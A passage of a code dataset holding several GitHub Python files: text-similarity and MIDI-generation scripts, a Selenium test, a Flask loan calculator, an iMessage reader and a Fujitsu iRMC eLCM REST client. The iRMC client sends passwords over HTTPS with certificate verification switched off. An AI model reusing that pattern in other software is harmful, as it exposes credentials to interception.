44, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 46, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 63, "usage_type": "call"}, {"api_name": "pcdet.config.cfg_from_yaml_file", "line_number": 73, "usage_type": "call"}, {"api_name": "pcdet.config.cfg", "line_number": 73, "usage_type": "argument"}, {"api_name": "pcdet.config.cfg", "line_number": 75, "usage_type": "name"}, {"api_name": "pcdet.config.cfg", "line_number": 80, "usage_type": "name"}, {"api_name": "pcdet.utils.common_utils.create_logger", "line_number": 81, "usage_type": "call"}, {"api_name": "pcdet.utils.common_utils", "line_number": 81, "usage_type": "name"}, {"api_name": "pcdet.config.cfg.DATA_CONFIG", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pcdet.config.cfg", "line_number": 84, "usage_type": "name"}, {"api_name": "pcdet.config.cfg.CLASS_NAMES", "line_number": 84, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 85, "usage_type": "call"}, {"api_name": "pcdet.models.build_network", "line_number": 89, "usage_type": "call"}, {"api_name": "pcdet.config.cfg.MODEL", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pcdet.config.cfg", "line_number": 89, "usage_type": "name"}, {"api_name": "pcdet.config.cfg.CLASS_NAMES", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 93, "usage_type": "call"}, {"api_name": "pcdet.models.load_data_to_gpu", "line_number": 97, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 108, "usage_type": "call"}]} {"seq_id": "73888325662", "text": "# import os\nfrom sentence_transformers import SentenceTransformer, util\n\n# NOW_DIR = os.path.dirname(os.path.realpath(__file__)) + '/'\n\nmodel = SentenceTransformer('all-mpnet-base-v2')\n# model = SentenceTransformer(NOW_DIR + 'weights/sbert')\n\ndef sentence_similarity(s1, s2):\n embeddings1 = model.encode(s1, convert_to_tensor=True)\n embeddings2 = model.encode(s2, convert_to_tensor=True)\n # 코사인 유사도\n cosine_scores = util.cos_sim(embeddings1, embeddings2)\n if cosine_scores[0][0].item() < 0:\n return 0\n else:\n return round(cosine_scores[0][0].item(), 2)\n\n\ndef word_similarity(answers, user_word):\n similarities = {}\n user_word_eb = model.encode(user_word, convert_to_tensor=True)\n for answer in answers:\n answer_eb = model.encode(answer, convert_to_tensor=True)\n cosine_scores = util.cos_sim(user_word_eb, answer_eb)\n if cosine_scores[0][0].item() < 0:\n similarities.update({answer: 0}) \n else:\n similarities.update({answer: round(cosine_scores[0][0].item(), 2)}) \n \n return similarities\n\n# test\nif __name__ == '__main__':\n s1 = 'I love you'\n s2 = 'I like you'\n print(sentence_similarity(s1, s2))", "repo_name": "yudavid0611/swing-project", "sub_path": "back-django/checks/models/sentensim.py", "file_name": "sentensim.py", "file_ext": "py", "file_size_in_byte": 1213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sentence_transformers.SentenceTransformer", "line_number": 6, "usage_type": "call"}, {"api_name": "sentence_transformers.util.cos_sim", "line_number": 13, "usage_type": "call"}, {"api_name": "sentence_transformers.util", "line_number": 13, "usage_type": "name"}, {"api_name": "sentence_transformers.util.cos_sim", "line_number": 25, "usage_type": "call"}, {"api_name": "sentence_transformers.util", "line_number": 25, "usage_type": "name"}]} {"seq_id": "1629442428", "text": "import time\n\nfrom selenium.webdriver.common.by import By\n\nfrom base.base_page import BasePage, BaseHandle\n\n\n# 页面对象\n\n# 对象库层\nfrom page.page_bug_browse import BugBrowseProxy\nfrom page.page_my import MyProxy\nfrom page.page_qa import QaProxy\nfrom page.page_user_login import UserLoginProxy\nfrom tool.utils import DriverUtil\n\n\nclass BugCreatePage(BasePage):\n def __init__(self):\n super().__init__()\n self.opened_build = By.CSS_SELECTOR, \"#openedBuild_chosen\"\n self.build = By.CSS_SELECTOR, '#openedBuild_chosen [data-option-array-index=\"0\"]'\n self.bug_title = By.CSS_SELECTOR, '#title'\n self.submit = By.CSS_SELECTOR, '#submit'\n\n # opened_build\n def find_opened_build(self):\n return self.base_find_element(self.opened_build)\n\n # build\n def find_buile(self):\n return self.base_find_element(self.build)\n\n # bug_title\n def find_bug_title(self):\n return self.base_find_element(self.bug_title)\n\n # submit\n def find_submit(self):\n return self.base_find_element(self.submit)\n\n\n# 操作层\nclass BugCreateHandle(BaseHandle):\n def __init__(self):\n self.bcp = BugCreatePage()\n\n # opened_build -- click\n def click_opened_build(self):\n self.base_click_element(self.bcp.find_opened_build())\n\n # build -- click\n def click_build(self):\n self.base_click_element(self.bcp.find_buile())\n\n # bug_title -- input\n def input_bug_title(self, title):\n self.base_input_text(self.bcp.find_bug_title(), title)\n\n # submit -- click\n def click_submit(self):\n self.base_click_element(self.bcp.find_submit())\n\n\n# 业务层\nclass BugCreateProxy:\n def __init__(self):\n self.bch = BugCreateHandle()\n\n # 创建缺陷 create_bug\n def create_bug(self, title):\n # opened_build -- click\n self.bch.click_opened_build()\n # build -- click\n self.bch.click_build()\n # bug_title -- input\n self.bch.input_bug_title(title)\n # submit -- click\n # 滚动滚动条\n DriverUtil.get_driver().execute_script(\"window.scrollTo(0,10000)\")\n time.sleep(1)\n self.bch.click_submit()\n\n\n\nif __name__ == '__main__':\n # 打开浏览器\n driver = DriverUtil.get_driver()\n # 打开登录页面\n driver.get(\"http://demo.zentao.net/user-login.html\")\n\n # 测试登录\n ulp = UserLoginProxy()\n myp = MyProxy()\n qp = QaProxy()\n bbp = BugBrowseProxy()\n bcp = BugCreateProxy()\n\n ulp.tester_login()\n myp.go_qa()\n qp.go_bug_browse()\n bbp.go_create_bug()\n time.sleep(3)\n bcp.create_bug(\"my_bug_2\")\n\n # 退出浏览器\n time.sleep(2)\n DriverUtil.quit_driver()\n\n", "repo_name": "hzynb666/code01", "sub_path": "page/page_bug_create.py", "file_name": "page_bug_create.py", "file_ext": "py", "file_size_in_byte": 2698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base.base_page.BasePage", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 21, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 21, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 22, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 23, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.CSS_SELECTOR", "line_number": 24, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 24, "usage_type": "name"}, {"api_name": "base.base_page.BaseHandle", "line_number": 44, "usage_type": "name"}, {"api_name": "tool.utils.DriverUtil.get_driver", "line_number": 80, "usage_type": "call"}, {"api_name": "tool.utils.DriverUtil", "line_number": 80, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "tool.utils.DriverUtil.get_driver", "line_number": 88, "usage_type": "call"}, {"api_name": "tool.utils.DriverUtil", "line_number": 88, "usage_type": "name"}, {"api_name": "page.page_user_login.UserLoginProxy", "line_number": 93, "usage_type": "call"}, {"api_name": "page.page_my.MyProxy", "line_number": 94, "usage_type": "call"}, {"api_name": "page.page_qa.QaProxy", "line_number": 95, "usage_type": "call"}, {"api_name": "page.page_bug_browse.BugBrowseProxy", "line_number": 96, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 103, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 107, "usage_type": "call"}, {"api_name": "tool.utils.DriverUtil.quit_driver", "line_number": 108, "usage_type": "call"}, {"api_name": "tool.utils.DriverUtil", "line_number": 108, "usage_type": "name"}]} {"seq_id": "75009531101", "text": "from flask import Flask, request, render_template, jsonify\r\nfrom scipy.optimize import fsolve\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\napp = Flask(__name__)\r\nclass SmeCalculator:\r\n def __init__(self, PV, T, r, fee, second_period, r2):\r\n self.PV = PV\r\n self.T = T \r\n self.fee = fee\r\n self.second_period = second_period\r\n self.n = 12 * self.T\r\n self.n2 = self.n - self.second_period + 1 \r\n self.r = r\r\n self.r2 = r2\r\n self.meanrate_1 = self.calcu_meanrate(self.n, self.r)\r\n self.meanrate_2 = self.calcu_meanrate(self.n2, self.r2)\r\n \r\n @staticmethod\r\n def calcu_meanrate(n, r):\r\n try:\r\n meanrate = ((1 + r/12)**n * r/12) / ((1 + r/12)**n - 1)\r\n except:\r\n meanrate = 0\r\n return meanrate\r\n \r\n def calcu_payment(self): \r\n payment_list = []\r\n pv = self.PV\r\n FV = pv * self.meanrate_1\r\n rate = self.r\r\n for stage in range(1, self.n+1): \r\n if stage == self.second_period:\r\n FV = pv * self.meanrate_2\r\n rate = self.r2 \r\n month_i = pv * rate/12\r\n month_v = FV - month_i\r\n pv = pv + month_i - FV \r\n if stage == self.n: \r\n month_v += pv\r\n FV += pv\r\n pv = 0\r\n payment_list.append([stage, month_v, month_i, FV, pv]) \r\n return payment_list\r\n \r\n def create_payment_df(self):\r\n payment_list = self.calcu_payment() \r\n payment_data = pd.DataFrame(payment_list, columns=['期別', '應還本金', '應付利息', '應付本息','剩餘本金'])\r\n for c in payment_data.columns:\r\n payment_data[c] = payment_data[c].apply(lambda x: int(round(x, 0)))\r\n payment_data[c] = payment_data[c].apply(lambda x: format(x, ','))\r\n return payment_data\r\n \r\n def calcu_year_rate(self):\r\n payment_data = self.create_payment_df()\r\n payment_ary = payment_data['應付本息'].apply(lambda x: int(x.replace(',', ''))).values\r\n payment_ary = np.hstack((np.array(-(self.PV - self.fee)), payment_ary))\r\n year_rate = np.irr(payment_ary) * 12\r\n year_rate = round(year_rate, 6)\r\n year_rate *= 100 \r\n return year_rate\r\n \r\n def calcu_rev_rate(self):\r\n FV = self.PV * (self.r / 12)\r\n def func(v):\r\n x, = v.tolist()\r\n return [\r\n (sum([FV / (1 + x / 12) ** i for i in range(1, self.n + 1)])) + \\\r\n (self.PV / (1 + x / 12) ** 12) - (self.PV - self.fee)\r\n ]\r\n year_rate = fsolve(func, [0.01])[0]\r\n year_rate = round(year_rate, 6)\r\n year_rate *= 100 \r\n return year_rate\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef caculator():\r\n if request.method == 'POST': \r\n cal_type = request.values['type']\r\n PV = int(request.values['PV']) * 10000\r\n T = int(request.values['T']) \r\n fee = int(request.values['fee'])\r\n r = float(request.values['r']) * 0.01\r\n r2 = 0 if request.values['r2'] == '' else float(request.values['r2']) * 0.01\r\n second_period = 0 if request.values['n_gap'] == '' else int(request.values['n_gap']) \r\n calculator = SmeCalculator(PV, T, r, fee, second_period, r2)\r\n if cal_type == '1': \r\n payment_data = calculator.create_payment_df()\r\n year_rate = calculator.calcu_year_rate()\r\n pay_data_json = payment_data.to_json(orient=\"split\", force_ascii=False)\r\n return jsonify(\r\n table=pay_data_json, \r\n ans=year_rate)\r\n else:\r\n year_rate = calculator.calcu_rev_rate()\r\n return jsonify(ans=year_rate)\r\n return render_template('index.html')\r\n \r\nif __name__ == '__main__':\r\n app.run()\r\n", "repo_name": "jasonliu1990/caculator", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.irr", "line_number": 59, "usage_type": "call"}, {"api_name": "scipy.optimize.fsolve", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 85, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 97, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 98, "usage_type": "call"}]} {"seq_id": "75008100063", "text": "import os\nimport json\nfrom src.general_functions import create_dir\n\nabs_path = os.path.abspath(str(__file__) + \"/..\")\nconf_name = \"/config/Project_conf.json\"\nconf_path = os.path.join(abs_path + conf_name)\n\ntry:\n with open(conf_path, 'r') as json_file:\n data = json.load(json_file)\n data[\"base_path\"] = abs_path\n create_dir(data['dirs']['data_dir'])\n create_dir(data['dirs']['doc_dir'])\n\n with open(conf_path, 'w') as json_file:\n json.dump(data, json_file)\n\nexcept Exception as e:\n print(f\"Error locating {conf_name}\")\n\n", "repo_name": "STLorenzo/PyTorchFP", "sub_path": "install.py", "file_name": "install.py", "file_ext": "py", "file_size_in_byte": 563, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.abspath", "line_number": 5, "usage_type": "call"}, {"api_name": "os.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "src.general_functions.create_dir", "line_number": 13, "usage_type": "call"}, {"api_name": "src.general_functions.create_dir", "line_number": 14, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 17, "usage_type": "call"}]} {"seq_id": "13425377512", "text": "import sqlite3\nfrom dotenv import dotenv_values\nimport subprocess\nimport os\nimport sqlite3\nimport json\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nenv = dotenv_values(f'{dir_path}/../.env')\n\nclass MsgReceiver():\n \n def __init__(self):\n # Open chat.db file\n self.con = sqlite3.connect(env['CHAT_DB'])\n self.cur = self.con.cursor()\n\n with open(f\"{dir_path}/../chat/config.json\", \"r\") as configfile:\n config = json.load(configfile)\n self.contacts = config['contacts']\n self.chatIds = config['chatIds']\n\n # dict that holds rowid for most recent message for each chatId\n self.most_recent_messages = {}\n self.new_messages = {}\n self.read()\n self.new_messages = {}\n \n\n # read the chat.db file and return new messages in format [sender_number1: message1, ...]\n def read(self):\n # query for messages (id, messageContent, phone#_of_sender, chatId)\n for chatId in self.chatIds:\n res = self.cur.execute(f\"\"\"\n SELECT m.rowid, m.attributedBody,\n CASE WHEN m.is_from_me THEN 'ME' ELSE h.id END as fromNumber,\n COALESCE(cache_roomnames, h.id) as chatId\n FROM message AS m\n LEFT JOIN handle AS h ON m.handle_id=h.rowid\n WHERE chatId='{chatId}'\n AND m.rowid>{self.most_recent_messages.get(chatId, -1)}\n ORDER BY m.date desc\n LIMIT 10\n \"\"\")\n rowsForThisId = res.fetchall()\n if len(rowsForThisId) == 0:\n continue\n\n rowsForThisId.reverse()\n \n messages = []\n rowIds = []\n # 'attributedBody' column has message content, but it's encoded so we have to clean it up\n for (ROWID, attributedBody, sender, cid) in rowsForThisId:\n rowIds.append(ROWID)\n if attributedBody:\n filename = f'{dir_path}/../bin/{ROWID}.bin'\n with open(filename, 'wb') as binfile:\n binfile.write(attributedBody)\n cmd = ['python3', '-m', 'typedstream', 'decode', filename]\n result = subprocess.run(cmd, capture_output=True)\n os.remove(filename)\n\n err = result.stderr.decode()\n if err:\n print(f'Error with running typedstream on message {ROWID}: {err}')\n else:\n output = result.stdout.decode()\n # clean up typedstream output\n msg_text = output.split('(')[1].split(')\\n')[0]\n contact = self.contacts.get(sender, sender)\n msg = f\"{contact}: {msg_text}\"\n messages.insert(0, msg)\n self.new_messages[chatId] = messages\n self.most_recent_messages[chatId] = max(rowIds)\n \n def get_new_messages(self):\n ret = self.new_messages\n self.new_messages = {}\n return ret\n \n def has_new_messages(self):\n return any([len(self.new_messages[key]) != 0 for key in self.new_messages.keys()])\n \n\nif __name__ == '__main__':\n import time\n receiver = MsgReceiver()\n while True:\n while not receiver.has_new_messages():\n time.sleep(5)\n receiver.read()\n print('new messages')\n new_messages = receiver.get_new_messages()\n print(new_messages)\n\n \n\n\n\n\n", "repo_name": "LoganMartinez/iMessage-GPT", "sub_path": "src/MsgReceiver.py", "file_name": "MsgReceiver.py", "file_ext": "py", "file_size_in_byte": 3638, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 8, "usage_type": "call"}, {"api_name": "dotenv.dotenv_values", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 61, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 62, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 91, "usage_type": "call"}]} {"seq_id": "29339283070", "text": "import numpy as np\nfrom MIDI_nn import MidiRNN\nfrom utils import StopWatch\nimport torch\nimport nn_util\nimport random\n\n# get the data\n#read the fetures if not in memeory\nall_feature_matrix = np.load(\"data/heavyRain.npy\")\nprint(\"MIDI Reading Completed!\")\nprint(\"Shape of the features: \", all_feature_matrix.shape)\n\n# load config files\nconfig = nn_util.load_config(generate_config=True)\n\n# setting the device to run the code to GPU is avaialble\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n# set loading values as variables\nsample_MIDI_size = config['sample_MIDI_size']\ntotal_samples = config['total_samples']\ntotal_seeds = all_feature_matrix.shape[0]//config['input_size']\n\n# load a checkpoint\ncheckpoint_name = config['checkpoint_name']\n\n# make the network and put it on GPU\nnet = MidiRNN(config).float().to(device)\noptimizer = torch.optim.Adamax(net.parameters(), lr=config['learning_rate'])\n\nwatch = StopWatch()\n\nnet, _, _, _, config = nn_util.load_checkpoint(net,optimizer,checkpoint_name,net_evalMode = True)\n\nfor i in range(total_samples):\n nn_util.generate_sample_song(config, net, all_feature_matrix, device, sample_MIDI_size, f'outputs/heavyRain_{(i+1):02d}',saveMIDI=True, saveNumpy=False, seed=random.randint(0, total_seeds), AutoTimed=False)\n print(f'{watch.give()} heavyRain_{(i+1):02d} generated')", "repo_name": "OB-0ne/basicRNN-midi-governingBodies", "sub_path": "generate.py", "file_name": "generate.py", "file_ext": "py", "file_size_in_byte": 1343, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.load", "line_number": 10, "usage_type": "call"}, {"api_name": "nn_util.load_config", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 18, "usage_type": "attribute"}, {"api_name": "MIDI_nn.MidiRNN", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.optim.Adamax", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 30, "usage_type": "attribute"}, {"api_name": "utils.StopWatch", "line_number": 32, "usage_type": "call"}, {"api_name": "nn_util.load_checkpoint", "line_number": 34, "usage_type": "call"}, {"api_name": "nn_util.generate_sample_song", "line_number": 37, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 37, "usage_type": "call"}]} {"seq_id": "70328342625", "text": "import time\n\nfrom oslo_serialization import jsonutils\nimport requests\n\nfrom scciclient.irmc import scci\n\n\n\"\"\"\nList of profile names\n\"\"\"\nPROFILE_BIOS_CONFIG = 'BiosConfig'\n\n\n\"\"\"\nList of URL paths for profiles\n\"\"\"\nURL_PATH_PROFILE_MGMT = '/rest/v1/Oem/eLCM/ProfileManagement/'\n\n\n\"\"\"\nList of request params for profiles\n\"\"\"\nPARAM_PATH_SYSTEM_CONFIG = 'Server/SystemConfig/'\nPARAM_PATH_BIOS_CONFIG = PARAM_PATH_SYSTEM_CONFIG + PROFILE_BIOS_CONFIG\n\n\n\"\"\"\nTimeout values\n\"\"\"\nPROFILE_CREATE_TIMEOUT = 300 # 300 secs\nPROFILE_SET_TIMEOUT = 300 # 300 secs\nBIOS_CONFIG_SESSION_TIMEOUT = 30 * 60 # 30 mins\n\n\nclass ELCMInvalidResponse(scci.SCCIError):\n \"\"\"ELCMInvalidResponse\"\"\"\n def __init__(self, message):\n super(ELCMInvalidResponse, self).__init__(message)\n\n\nclass ELCMProfileNotFound(scci.SCCIError):\n \"\"\"ELCMProfileNotFound\"\"\"\n def __init__(self, message):\n super(ELCMProfileNotFound, self).__init__(message)\n\n\nclass ELCMSessionNotFound(scci.SCCIError):\n \"\"\"ELCMSessionNotFound\"\"\"\n def __init__(self, message):\n super(ELCMSessionNotFound, self).__init__(message)\n\n\nclass ELCMSessionTimeout(scci.SCCIError):\n \"\"\"ELCMSessionTimeout\"\"\"\n def __init__(self, message):\n super(ELCMSessionTimeout, self).__init__(message)\n\n\ndef _parse_elcm_response_body_as_json(response):\n \"\"\"parse eLCM response body as json data\n\n eLCM response should be in form of:\n _\n Key1: value1 <-- optional -->\n Key2: value2 <-- optional -->\n KeyN: valueN <-- optional -->\n\n - CRLF -\n\n JSON string\n -\n\n :param response: eLCM response\n :return: json object if success\n :raise ELCMInvalidResponse: if the response does not contain valid\n json data.\n \"\"\"\n try:\n body = response.text\n body_parts = body.split('\\r\\n')\n if len(body_parts) > 0:\n return jsonutils.loads(body_parts[-1])\n else:\n return None\n except (TypeError, ValueError):\n raise ELCMInvalidResponse('eLCM response does not contain valid json '\n 'data. Response is \"%s\".' % body)\n\n\ndef elcm_request(irmc_info, method, path, **kwargs):\n \"\"\"send an eLCM request to the server\n\n :param irmc_info: dict of iRMC params to access the server node\n {\n 'irmc_address': host,\n 'irmc_username': user_id,\n 'irmc_password': password,\n 'irmc_port': 80 or 443, default is 443,\n 'irmc_auth_method': 'basic' or 'digest', default is 'basic',\n 'irmc_client_timeout': timeout, default is 60,\n ...\n }\n :param method: request method such as 'GET', 'POST'\n :param path: url path for eLCM request\n :returns: requests.Response from SCCI server\n :raises SCCIInvalidInputError: if port and/or auth_method params\n are invalid\n :raises SCCIClientError: if SCCI failed\n \"\"\"\n host = irmc_info['irmc_address']\n port = irmc_info.get('irmc_port', 443)\n auth_method = irmc_info.get('irmc_auth_method', 'basic')\n userid = irmc_info['irmc_username']\n password = irmc_info['irmc_password']\n client_timeout = irmc_info.get('irmc_client_timeout', 60)\n\n # Request headers, params, and data\n headers = kwargs.get('headers', {'Accept': 'application/json'})\n params = kwargs.get('params')\n data = kwargs.get('data')\n\n auth_obj = None\n try:\n protocol = {80: 'http', 443: 'https'}[port]\n auth_obj = {\n 'basic': requests.auth.HTTPBasicAuth(userid, password),\n 'digest': requests.auth.HTTPDigestAuth(userid, password)\n }[auth_method.lower()]\n\n except KeyError:\n raise scci.SCCIInvalidInputError(\n (\"Invalid port %(port)d or \" +\n \"auth_method for method %(auth_method)s\") %\n {'port': port, 'auth_method': auth_method})\n\n try:\n r = requests.request(method,\n protocol + '://' + host + path,\n headers=headers,\n params=params,\n data=data,\n verify=False,\n timeout=client_timeout,\n allow_redirects=False,\n auth=auth_obj)\n except requests.exceptions.RequestException as requests_exception:\n raise scci.SCCIClientError(requests_exception)\n\n # Process status_code 401\n if r.status_code == 401:\n raise scci.SCCIClientError('UNAUTHORIZED')\n\n return r\n\n\ndef elcm_profile_list(irmc_info):\n \"\"\"send an eLCM request to list all profiles\n\n :param irmc_info: node info\n :returns: dict object of profiles if succeed\n {\n 'Links':\n {\n 'profileStore':\n [\n { '@odata.id': id1 },\n { '@odata.id': id2 },\n { '@odata.id': idN },\n ]\n }\n }\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send GET request to the server\n resp = elcm_request(irmc_info,\n method='GET',\n path=URL_PATH_PROFILE_MGMT)\n\n if resp.status_code == 200:\n return _parse_elcm_response_body_as_json(resp)\n else:\n raise scci.SCCIClientError(('Failed to list profiles with '\n 'error code %s' % resp.status_code))\n\n\ndef elcm_profile_get(irmc_info, profile_name):\n \"\"\"send an eLCM request to get profile data\n\n :param irmc_info: node info\n :param profile_name: name of profile\n :returns: dict object of profile data if succeed\n :raises: ELCMProfileNotFound if profile does not exist\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send GET request to the server\n resp = elcm_request(irmc_info,\n method='GET',\n path=URL_PATH_PROFILE_MGMT + profile_name)\n\n if resp.status_code == 200:\n return _parse_elcm_response_body_as_json(resp)\n elif resp.status_code == 404:\n raise ELCMProfileNotFound('Profile \"%s\" not found '\n 'in the profile store.' % profile_name)\n else:\n raise scci.SCCIClientError(('Failed to get profile \"%(profile)s\" with '\n 'error code %(error)s' %\n {'profile': profile_name,\n 'error': resp.status_code}))\n\n\ndef elcm_profile_create(irmc_info, param_path):\n \"\"\"send an eLCM request to create profile\n\n To create a profile, a new session is spawned with status 'running'.\n When profile is created completely, the session ends.\n\n :param irmc_info: node info\n :param param_path: path of profile\n :returns: dict object of session info if succeed\n {\n 'Session':\n {\n 'Id': id\n 'Status': 'activated'\n ...\n }\n }\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send POST request to the server\n # NOTE: This task may take time, so set a timeout\n _irmc_info = dict(irmc_info)\n _irmc_info['irmc_client_timeout'] = PROFILE_CREATE_TIMEOUT\n\n resp = elcm_request(_irmc_info,\n method='POST',\n path=URL_PATH_PROFILE_MGMT + 'get',\n params={'PARAM_PATH': param_path})\n\n if resp.status_code == 202:\n return _parse_elcm_response_body_as_json(resp)\n else:\n raise scci.SCCIClientError(('Failed to create profile for path '\n '\"%(param_path)s\" with error code '\n '%(error)s' %\n {'param_path': param_path,\n 'error': resp.status_code}))\n\n\ndef elcm_profile_set(irmc_info, input_data):\n \"\"\"send an eLCM request to set param values\n\n To apply param values, a new session is spawned with status 'running'.\n When values are applied or error, the session ends.\n\n :param irmc_info: node info\n :param input_data: param values to apply, eg.\n {\n 'Server':\n {\n 'SystemConfig':\n {\n 'BiosConfig':\n {\n '@Processing': 'execute',\n -- config data --\n }\n }\n }\n }\n :returns: dict object of session info if succeed\n {\n 'Session':\n {\n 'Id': id\n 'Status': 'activated'\n ...\n }\n }\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Prepare the data to apply\n if isinstance(input_data, dict):\n data = jsonutils.dumps(input_data)\n else:\n data = input_data\n\n # Send POST request to the server\n # NOTE: This task may take time, so set a timeout\n _irmc_info = dict(irmc_info)\n _irmc_info['irmc_client_timeout'] = PROFILE_SET_TIMEOUT\n\n resp = elcm_request(_irmc_info,\n method='POST',\n path=URL_PATH_PROFILE_MGMT + 'set',\n headers={'Content-type':\n 'application/x-www-form-urlencoded'},\n data=data)\n\n if resp.status_code == 202:\n return _parse_elcm_response_body_as_json(resp)\n else:\n raise scci.SCCIClientError(('Failed to apply param values with '\n 'error code %(error)s' %\n {'error': resp.status_code}))\n\n\ndef elcm_profile_delete(irmc_info, profile_name):\n \"\"\"send an eLCM request to delete a profile\n\n :param irmc_info: node info\n :param profile_name: name of profile\n :raises: ELCMProfileNotFound if the profile does not exist\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send DELETE request to the server\n resp = elcm_request(irmc_info,\n method='DELETE',\n path=URL_PATH_PROFILE_MGMT + profile_name)\n\n if resp.status_code == 200:\n # Profile deleted\n return\n elif resp.status_code == 404:\n # Profile not found\n raise ELCMProfileNotFound('Profile \"%s\" not found '\n 'in the profile store.' % profile_name)\n else:\n raise scci.SCCIClientError(('Failed to delete profile \"%(profile)s\" '\n 'with error code %(error)s' %\n {'profile': profile_name,\n 'error': resp.status_code}))\n\n\ndef elcm_session_list(irmc_info):\n \"\"\"send an eLCM request to list all sessions\n\n :param irmc_info: node info\n :returns: dict object of sessions if succeed\n {\n 'SessionList':\n {\n 'Contains':\n [\n { 'Id': id1, 'Name': name1 },\n { 'Id': id2, 'Name': name2 },\n { 'Id': idN, 'Name': nameN },\n ]\n }\n }\n :raises: SCCIClientError if SCCI failed\n \"\"\"\n # Send GET request to the server\n resp = elcm_request(irmc_info,\n method='GET',\n path='/sessionInformation/')\n\n if resp.status_code == 200:\n return _parse_elcm_response_body_as_json(resp)\n else:\n raise scci.SCCIClientError(('Failed to list sessions with '\n 'error code %s' % resp.status_code))\n\n\ndef elcm_session_get_status(irmc_info, session_id):\n \"\"\"send an eLCM request to get session status\n\n :param irmc_info: node info\n :param session_id: session id\n :returns: dict object of session info if succeed\n {\n 'Session':\n {\n 'Id': id\n 'Status': status\n ...\n }\n 